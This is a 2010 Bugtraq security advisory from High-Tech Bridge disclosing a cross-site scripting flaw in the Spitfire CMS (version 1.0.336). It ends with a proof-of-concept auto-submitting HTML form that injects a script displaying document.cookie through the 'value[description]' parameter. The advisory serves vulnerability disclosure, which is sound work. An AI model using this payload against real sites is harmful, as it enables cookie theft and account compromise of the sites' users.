bugtraq - XSS vulnerability in Spitfire

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Message-Id: <201007221030.o6MAUUsN048345@htbridge.ch>
Date: Thu, 22 Jul 2010 12:30:30 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS vulnerability in Spitfire

Vulnerability ID: HTB22484
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_spitfire_1.html
Product: Spitfire
Vendor: Claus Muus ( http://spitfire.clausmuus.de/ ) 
Vulnerable Version: 1.0.336 and Probably Prior Versions
Vendor Notification: 08 July 2010 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
"tpl_element_settings_action.php" script to properly sanitize user-supplied input in "value[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/cms//edit/tpl_element_settings_action.php" method="post" name="main" >
	<input type="hidden" name="action" value="save" />
	<input type="hidden" name="value[description]" value='descr2"><script>alert(document.cookie)</script>' />
</form>
<script>
document.main.submit();
</script>